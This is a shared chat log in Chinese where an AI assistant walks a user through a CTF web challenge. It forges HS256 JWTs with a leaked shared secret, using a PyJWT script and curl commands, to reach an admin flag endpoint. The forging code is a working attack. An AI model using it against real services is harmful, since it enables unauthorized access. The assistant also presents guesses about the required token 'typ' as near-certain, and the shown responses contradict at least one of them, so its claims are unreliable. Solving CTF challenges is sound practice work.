分析这道CTF的web题目,题目为: Web 300-1 Friend of a Friend Fo...

创建于:2025年10月11日

使用 GPT-5 Thinking 回答 Chat01

问题

分析这道CTF的web题目,题目为:
Web 300-1 Friend of a Friend
For this challenge we have a simulated web app in development. In fact, two web apps that share the same auth server. One is a “friends/profile” client, the other guards an admin API. Somewhere, scopes aren’t enforced correctly, and there's a leak. Your goal is to obtain the flag from the admin API.

Some features you can test:
GET /health → ok
GET / → overview page that should provide all the information you need on the features of the app.
访问后页面为:

<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>FriendGraph Developer Portal</title> <meta name="viewport" content="width=device-width, initial-scale=1" /> <!-- subtle breadcrumb for solvers who know OIDC --> <link rel="openid-configuration" href="/.well-known/openid-configuration" /> <link rel="preload" href="/static/config.js" as="script"> <style> :root { --bg:#0b1320; --card:#121b2f; --muted:#8aa0c7; --accent:#5bb3ff; --ok:#2ecc71; --warn:#ffcc00; } * { box-sizing: border-box; } body { margin:0; font:16px/1.5 system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif; color:#e6eefc; background:linear-gradient(180deg, var(--bg), #0f1a30 240px); } header { padding:28px 20px; border-bottom:1px solid rgba(255,255,255,.05); position:sticky; top:0; backdrop-filter: blur(8px); background:rgba(11,19,32,.75); } .wrap { max-width:980px; margin:0 auto; padding:0 20px; } .brand { font-weight:700; letter-spacing:.3px } .grid { display:grid; gap:20px; grid-template-columns: 1.3fr .9fr; align-items:start; } @media (max-width:900px){ .grid{ grid-template-columns: 1fr; } } .card { background:var(--card); border:1px solid rgba(255,255,255,.06); border-radius:14px; padding:18px; box-shadow: 0 8px 30px rgba(0,0,0,.25); } h1 { font-size:28px; margin:18px 0 10px; } h2 { font-size:20px; margin:12px 0; } code, pre { background:#0b1426; color:#cfe3ff; border:1px solid rgba(255,255,255,.06); border-radius:8px; } code { padding:2px 6px; } pre { padding:12px; overflow:auto; } a { color:var(--accent); text-decoration:none; } .pill { display:inline-block; padding:6px 10px; border-radius:999px; background:rgba(91,179,255,.15); border:1px solid rgba(91,179,255,.35); color:#d6ecff; font-size:12px; letter-spacing:.2px; } .btn { appearance:none; background:var(--accent); color:#062341; border:none; padding:12px 14px; border-radius:10px; font-weight:700; cursor:pointer; } .btn.secondary { background:transparent; color:#cfe3ff; border:1px solid rgba(255,255,255,.2); } .muted { color:var(--muted); } ul { margin:8px 0 0 18px; } footer { color:#98abc9; font-size:13px; padding:28px 0 40px; } .kvs { display:grid; grid-template-columns: max-content 1fr; gap:8px 14px; font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; } .kvs div:nth-child(odd){ color:#9bb6e2; opacity:.9 } .hint { font-size:13px; color:#9bb6e2; } </style> </head> <body> <header> <div class="wrap"> <div class="brand">FriendGraph • Developer</div> </div> </header> <main class="wrap" style="padding:28px 0 40px"> <div class="grid"> <!-- left column --> <section class="card"> <span class="pill">Quick start</span> <h1>Build on the FriendGraph API</h1> <p class="muted"> Use standard bearer tokens to call our JSON endpoints. Start with a profile token, explore the docs, and then request the permissions your app needs. </p>
text
<div style="display:flex; gap:10px; margin:14px 0 6px"> <button class="btn" id="btnDemo">Try the demo flow</button> <a class="btn secondary" href="#docs">View API docs</a> </div> <h2 style="margin-top:22px">How it works</h2> <ol> <li>Kick off the demo auth to receive a one-time <code>code</code> at <code>/callback</code>.</li> <li>Exchange the code for a bearer token.</li> <li>Call the API with <code>Authorization: Bearer &lt;token&gt;</code>.</li> </ol> <p class="hint">Developers: standard discovery is exposed (<a href="/.well-known/openid-configuration">openid-configuration</a>).</p> </section> <!-- right column --> <aside class="card"> <h2>Environment</h2> <div class="kvs"> <div>Issuer</div><div id="kv-iss">—</div> <div>Supported scopes</div><div><code>profile:read</code> <code>friends:read</code></div> <div>Token type</div><div><code>access_token</code> (JWT HS256)</div> </div> <p class="hint" style="margin-top:10px"> Tokens are JSON Web Tokens. Verify signature and claims as usual. </p> </aside> </div> <section id="docs" class="card" style="margin-top:20px"> <h2>API</h2> <div> <p><code>GET /api/whoami</code> — Echoes verified claims from your bearer token.</p> <pre>curl -s <span id="origin1"></span>/api/whoami \

-H "Authorization: Bearer <token>" | jq</pre>

text
<p><code>GET /api/profile</code> — Requires scope <code>profile:read</code>.</p> <pre>curl -s <span id="origin2"></span>/api/profile \

-H "Authorization: Bearer <token>" | jq</pre>

text
<p><code>GET /api/flag</code> — Requires a stricter token. The endpoint will tell you what it expects.</p> <pre>curl -s <span id="origin3"></span>/api/flag \

-H "Authorization: Bearer <token>" | jq</pre>
</div>
<p class="muted">Errors follow standard JSON semantics with <code>WWW-Authenticate</code> hints when applicable.</p>
</section>

text
<footer> © FriendGraph Platform. For testing only. Do not use real credentials. </footer>
</main> <script src="/static/config.js"></script> <script> // minimal UX: fill env bits & wire demo button const ORIGIN = location.origin; document.querySelectorAll("#origin1,#origin2,#origin3").forEach(n => n.textContent = ORIGIN); const iss = (window.__CFG__ && window.__CFG__.issuer) || "/.well-known/openid-configuration"; document.getElementById("kv-iss").textContent = iss; document.getElementById("btnDemo").addEventListener("click", () => { const state = Math.random().toString(36).slice(2); const redirectUri = ORIGIN + "/callback"; const scope = encodeURIComponent("profile:read friends:read"); const url = `/auth/start?client_id=profile-app&redirect_uri=${encodeURIComponent(redirectUri)}&scope=${scope}&state=${state}`; location.href = url; }); </script> </body> </html> 点击demo发送到/callback?code=uWiZ5PkBIWbxLyrBHTF1M_67yKKV88uH&state=5q20qa638gr 通过扫描获取到了/config.js下的内容 {"keys":[{"alg":"HS256","k":"ZGV2c2hhcmVkc2VjcmV0","kid":"dev-hs","kty":"oct"}]} 这是/.well-known/openid-configuration的内容: {"issuer":"https://friend.example/oauth","jwks_uri":"http://web300-1.pointeroverflowctf.com/.well-known/jwks.json","response_types_supported":["token","id_token token"],"scopes_supported":["openid","profile:read","friends:read"],"token_endpoint_auth_methods_supported":["none"]} 请分析

思考

Analyzing CTF web challenge

I'm looking at this CTF web problem and there's no browsing needed. I need to analyze how to exploit scopes and obtain the flag from the admin API. It looks like I might need to craft a JWT with HS256 using a shared secret from config.js. The issuer is "https://friend.example/oauth", and the JWKS uses a symmetric key with HS256. Also, the admin API expects stricter tokens related to specific scopes, but the hint mentions a leak involving scopes. I think I need to use the "Friend of a Friend" graph.

Exploring token forgery method

The doc only supports 'profile:read' and 'friends:read' scopes, but the admin API might accept 'azp', 'resource', or 'aud', which aren't enforced. I think the hack could involve forging a JWT with HS256, using "kid" injection or JWK confusion. We already have the key 'devsharedsecret' from config.js, and if we generate a token with "admin:flag" scope, we can test the /api/flag endpoint to see what it expects. Looks like I could skip the demo flow and mint my own JWT.

Planning CTF write-up

Based on the config, I already have the same key as the jwks_uri, which should host a JSON Web Key Set. For the CTF, the plan is to craft the token instead of using the exchange path. I’ll call the whoami endpoint to verify the claims and then attempt /api/flag to see if it offers the required claims in the response, such as “admin:flag” or an "admin-api" audience.

Exploring signature and claims verification

The "iss" claim should match the openid issuer, "https://friend.example/oauth", but that seems odd since it doesn't match the domain. The whoami endpoint might not strictly enforce this, and the app probably just checks the signature. The exploitation here involves crafting a JWT with a header for HS256, a "kid" value, and a payload with the required claims. Ultimately, signing the token offline appears to be the key to exploiting this.

Step-by-step exploitation process

We can exploit the vulnerability by crafting a token using the shared secret from the local JWKS. The procedure would involve probing the /api/flag endpoint without a token to get the missing claims via the WWW-Authenticate header. Then, we can create the token using HS256 and test it with a request to /api/flag until we get the correct claims specified in the docs.

Analyzing the vulnerability

First, we observe that the system leaks sensitive information by exposing the symmetric key in the JWKS file, making it possible for attackers to mint any token. Scopes and audience checks are bypassed because the server uses a shared secret. We'll demonstrate how to analyze the

Thought for 1m 4s

回答

下面是这道题的完整分析与利用思路(含可直接复用的 PoC 模板)。


思路概览

  • 站点是一个共享同一认证服务器的双应用:普通“friends/profile”前端 + “admin API”。
  • token 类型是 JWT HS256(对称密钥!),并且把密钥直接泄露在前端 config.js 里了:
    • k: "ZGV2c2hhcmVkc2VjcmV0" → Base64URL 解码后是 devsharedsecret
    • kid: "dev-hs"kty: "oct",说明这是 对称 JWK
  • 这意味着你可以在本地伪造任意 scope / aud / sub 的 access_token,从而越权调用 admin API。
  • /api/flag 会通过 WWW-Authenticate/错误 JSON 告诉你它需要的 scope / audience 等具体要求,据此补齐 claim 再签名即可拿到 flag。

题目描述里“scopes 没有正确强制 & 有泄漏(leak)”——泄漏就是把 HS256 的共享密钥塞进了前端 config.js/JWKS,中间人谁都能签发“合法”token,自然可以越权申请 admin 权限。


关键信息复盘

  • 首页右侧“Environment”写明:Token type: access_token (JWT HS256)
  • /.well-known/openid-configuration 返回:
    • issuer: "https://friend.example/oauth"
    • jwks_uri: "http://web300-1.pointeroverflowctf.com/.well-known/jwks.json"
    • scopes_supported: ["openid","profile:read","friends:read"](注意这里只列了 demo scope;/api/flag 需要的 scope 更严格,会在错误里提示)
    • token_endpoint_auth_methods_supported: ["none"](进一步表明是个 Demo/弱保护环境)
  • /static/config.js(你已经拿到)里给了 JWK
    json
    {"keys":[{"alg":"HS256","k":"ZGV2c2hhcmVkc2VjcmV0","kid":"dev-hs","kty":"oct"}]}
    ⇒ 对称密钥泄漏:devsharedsecret

利用路线(实操步骤)

目标:构造一个满足 /api/flag 要求的 HS256 JWT,并用它去拿 flag。

  1. 探测 /api/flag 需要什么

    • 不带 token 或带一个普通 profile:read token 去打:
      bash
      curl -i http://web300-1.pointeroverflowctf.com/api/flag # 或: curl -i http://web300-1.pointeroverflowctf.com/api/flag \ -H 'Authorization: Bearer <你的profile token>'
    • 观察响应头/体的提示(标准做法是 WWW-Authenticate: Bearer error="insufficient_scope", scope="..." 等)。
    • 记下确切 scope 名(例如 flag:readadmin:read 等)以及是否要求aud(例如 aud=admin-api)。
  2. 用泄漏的密钥本地签一个“管理员级别”的 access_token

    • Header(保持题面给出的 kid/alg):

      json
      {"alg":"HS256","kid":"dev-hs","typ":"JWT"}
    • Payload(按 /api/flag 的要求来;以下是模板,把尖括号内容替换成你在步骤 1 里探到的值):

      json
      { "iss": "https://friend.example/oauth", "sub": "admin", // 或任意;若接口要求特定主体可相应调整 "aud": "admin-api", // 若 /api/flag 要求 audience,就填它提示的那个 "scope": "<从错误提示抄的scope>", // 例:flag:read 或 admin:read "iat": <当前Unix秒>, "exp": <当前Unix秒+3600> }

      有些实现看 scp(数组)而不是 scope(空格分隔字符串)。保险起见可以两个都给"scp": ["<scope值>"]"scope": "<scope值>" 同时放。

    • 使用任意 JWT 库(Python/Node/OpenSSL 皆可)。下面给两个可直接用的方式:

    A. Python(PyJWT)一把梭:

    python
    # pip install pyjwt import jwt, time key = "devsharedsecret" # 从 config.js 解出的明文 now = int(time.time()) payload = { "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", # 若不需要aud,可删 "scope": "flag:read", # 用步骤1探到的真实scope "scp": ["flag:read"], # 兼容某些实现 "iat": now, "exp": now + 3600 } headers = {"alg":"HS256","kid":"dev-hs","typ":"JWT"} token = jwt.encode(payload, key, algorithm="HS256", headers=headers) print(token)

    B. 直接在 jwt.io

    • Header/Payload 按上面的填好;
    • VERIFY SIGNATURE 里把 Secret 填成 devsharedsecret
    • 得到签好名的 token。
  3. 用你伪造的 token 先打 /api/whoami 自检

    bash
    curl -s http://web300-1.pointeroverflowctf.com/api/whoami \ -H "Authorization: Bearer <your_forged_token>" | jq
    • 确认服务端成功验签(否则会 401)且能看到你填进去的 iss/aud/scope 等。
  4. /api/flag 拿 flag

    bash
    curl -s http://web300-1.pointeroverflowctf.com/api/flag \ -H "Authorization: Bearer <your_forged_token>" | jq

常见坑位 & 对症排查

  • 401 invalid signature / signature verification failed

    • 检查签名算法是否 HS256
    • 检查密钥是否为明文 devsharedsecret(不是 Base64 字符串,而是解码后的明文);
    • Header 里 kid 是否为 dev-hs(有些后端会拿这个去选 key)。
  • 401 invalid issuer / iss mismatch

    • iss 写成 https://friend.example/oauth(必须与 openid-configuration 里的完全一致)。
  • 401/403 invalid audience / aud required

    • /api/flag 很可能要求 aud: "admin-api"(或其它固定值)。按返回提示补齐。
  • 403 insufficient_scope

    • scope 名写错/少了。回到第 1 步重新看 WWW-Authenticate 或错误 JSON,照抄它的 scope 名。
    • 有的实现读 scp 数组而不是 scope 字符串——两个都给最稳。

漏洞根因与修复建议(给出题者/复盘)

  • 根因:使用对称算法(HS256)并把密钥通过 JWKS/前端配置泄露,相当于任何人都能签发“合法”access_token;scope/audience 再严格也只是“自助填表”,完全不可依赖。
  • 修复
    1. 改为 不对称算法(RS256/ES256)。只发布 公钥jwks_uri,私钥保存在认证服务器。
    2. jwks_uri 必须 HTTPS,避免被中间人替换。
    3. 在资源服务器端严格校验
      • iss 必须等于受信颁发者;
      • aud 必须是该 API 的 audience(例如 admin-api);
      • exp/nbf 时间窗;
      • scope(或 scp)包含所需权限,且不要靠前端声明
    4. 管理类 API 与普通前端应用使用不同的 client / audience / 授权策略;必要时改用后端对后端机密交换或 token 内加 azp/client_id 并做白名单校验。

TL;DR(一条命令的最小化流程)

  1. 先看需要的 scope/aud:
    bash
    curl -i http://web300-1.pointeroverflowctf.com/api/flag
  2. 用密钥 devsharedsecret(kid=dev-hs)本地签一个含 iss=https://friend.example/oauthaud=<从上一步看到的>, scope=<从上一步看到的>HS256 JWT。
  3. 成功后直接:
    bash
    curl -s http://web300-1.pointeroverflowctf.com/api/flag \ -H "Authorization: Bearer <forged_jwt>" | jq

就这么简单,flag 到手。祝你一发入魂 🚀

问题

伪造后访问/api/whoami返回{"aud":"admin-api","exp":1760158679,"iat":1760155079,"iss":"https://friend.example/oauth","scope":"flag:read","scp":["flag:read"],"sub":"admin"}
但是访问/api/flag返回
{"error":"invalid_token_type","hint":"need access_token"}

思考

Testing token configurations

We need to test different token configurations to address the error "invalid_token_type" with the hint "need access_token." Testing /api/whoami might not show a difference. We could recommend trying different payload and header values, such as setting "typ":"access_token" or "token_type":"access_token" in the payload, and maybe a header tweak too. A matrix of options would be helpful!

Narrowing down minimal attempts

We want to minimize the attempts for the user. A simple Python code using PyJWT should craft a token with the header typ: 'at+jwt' and include a token_type in the payload, along with "azp": "profile-app" (unless the admin API requires differently). The server expects a token type access_token—noting that token_use: "access" is often used. Also, /whoami doesn’t show token_type.

Adjusting header format

It seems that using typ in the header for access_token is expected. The error message "need access_token" might indicate that the server requires a JWT with typ set as at+jwt, as defined by RFC 9068. I'll craft the token using {"alg":"HS256", "kid":"dev-hs", "typ":"at+jwt"}, keeping the required payload claims the same.

Providing clear instructions

To fix the issue, advise the user to re-sign the token with the JOSE header typ set to at+jwt instead of JWT. Keep the iss, aud, sub, exp, and iat claims and optionally add scope and scp. If still invalid, suggest

Thought for 22s

回答

你这个报错基本可以确定是**“token 类型不对”**——/api/flag 不是只看 claims,它还在意 JOSE Header 里的 typ(以及/或 payload 里是否声明为 access token)。你现在的 whoami 能回显 claims,但它不显示 header,所以看不出问题;而 /api/flag 会校验“这是不是一个 access token”。

一步到位的修正

RFC 9068 (JWT Access Tokens),把 JOSE Header 里的 typ 设成 at+jwt(而不是默认的 JWT),然后再签。

  • Header(注意 typ):
json
{"alg":"HS256","kid":"dev-hs","typ":"at+jwt"}
  • Payload(你已有的就对了,照用):
json
{ "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", "scope": "flag:read", "scp": ["flag:read"], "iat": <now>, "exp": <now+3600> }
  • 密钥还是从 config.js 解出来的明文:devsharedsecret

PyJWT 最小 PoC

python
# pip install pyjwt import jwt, time key = "devsharedsecret" now = int(time.time()) payload = { "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", "scope": "flag:read", "scp": ["flag:read"], "iat": now, "exp": now + 3600 } headers = {"alg":"HS256","kid":"dev-hs","typ":"at+jwt"} # 关键在这行 token = jwt.encode(payload, key, algorithm="HS256", headers=headers) print(token)

然后直接:

bash
curl -s http://web300-1.pointeroverflowctf.com/api/flag \ -H "Authorization: Bearer <上面生成的token>" | jq

若仍然提示 invalid_token_type(兜底)

极少数实现会再看 payload 里是否带一种自定义标记。可以再同时加一个 payload 字段(两者并存不冲突):

json
"token_type": "access_token"

但通常只把 header 的 typ 设为 at+jwt 就能通过。


总结
你已经把 iss/aud/scope/scp 都弄对了;把 JOSE Header 改成 typ: "at+jwt"(表明这是“access token 的 JWT 轮廓”)再签,就能通过 /api/flag 的“need access_token”检查,拿到 flag。

问题

curl -s https://web300-1.pointeroverflowctf.com/api/flag -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6ImRldi1ocyIsInR5cCI6ImF0K2p3dCJ9.eyJpc3MiOiJodHRwczovL2ZyaWVuZC5leGFtcGxlL29hdXRoIiwic3ViIjoiYWRtaW4iLCJhdWQiOiJhZG1pbi1hcGkiLCJzY29wZSI6ImZsYWc6cmVhZCIsInNjcCI6WyJmbGFnOnJlYWQiXSwiaWF0IjoxNzYwMTU1NDY0LCJleHAiOjE3NjAxNTkwNjQsInRva2VuX3R5cGUiOiJhY2Nlc3NfdG9rZW4ifQ.0fXP3eLOEqTn0TFREqo4JmXnJxqmvpke_Sznv-BJKw8" | jq
{
"error": "invalid_token_type",
"hint": "need access_token"
}

思考

Exploring access token issue

It looks like the endpoint expects an access token, as indicated by the response. The user might have used the wrong endpoint protocol (https instead of http). I’ll suggest they try retrieving '/api/flag' without Authorization to see the exact error. They can use curl -i to check the header for details. I won’t ask them to wait—just to try these steps.

Testing multiple token variants

I’ll propose different token formats to troubleshoot this issue. First, we’ll try three variants:

  • Variant A: typ 'Bearer' with token_use 'access'
  • Variant B: typ 'JWT' with token_use 'access'
  • Variant C: typ 'at+jwt' with token_use 'access'

I’ll also suggest adding "azp" or "client_id" to cover all bases, even though the error mentions token type. Despite the complexity, I’ll keep it clear and concise.

Exploring possible header issue

It seems like the server could be checking for an exact match of "token_type" as 'access_token' or even the header's 'typ'. Since 'access_token' isn't typical, it's possible they use that string. I'll propose setting "typ": "access_token" in the header, even though it’s non-standard, to test if it works.

Thought for 35s

回答

看起来 /api/flag 在做一个很原始的“token 类型”判断,而不是按 RFC 9068 去识别 typ: "at+jwt"。你现在的 Header 是:

json
{"alg":"HS256","kid":"dev-hs","typ":"at+jwt"}

whoami 不校验类型所以能过;/api/flag 则直接报 invalid_token_type: need access_token

直接修法(最可能命中)

JOSE Header 里的 typ 改成 "access_token"(就是它错误信息里的蛇形写法),其余不变:

  • Header:
json
{"alg":"HS256","kid":"dev-hs","typ":"access_token"}
  • Payload(你已有的就OK;保留 iss/aud/scope/scp/iat/exptoken_type:"access_token" 可留可不留):
json
{ "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", "scope": "flag:read", "scp": ["flag:read"], "iat": <now>, "exp": <now+3600> }
  • 密钥:devsharedsecret(从 k 解出来的明文)

PyJWT 最小 PoC:

python
import jwt, time key = "devsharedsecret" now = int(time.time()) payload = { "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", "scope": "flag:read", "scp": ["flag:read"], "iat": now, "exp": now + 3600 } headers = {"alg":"HS256","kid":"dev-hs","typ":"access_token"} # 关键 tok = jwt.encode(payload, key, algorithm="HS256", headers=headers) print(tok)

然后:

bash
curl -s https://web300-1.pointeroverflowctf.com/api/flag \ -H "Authorization: Bearer <上面新token>" | jq

兜底备选

如果仍提示类型错误,再试 Header typ: "Bearer"(某些框架这么用):

json
{"alg":"HS256","kid":"dev-hs","typ":"Bearer"}

(Payload 不变)

解释:这题是刻意把“access token 类型识别”写得很死板;whoami 只回显 claims,/api/flag 额外用 Header 的 typ 进行二分类。把 typ 改成它想要的字符串即可通过。

分享这个问答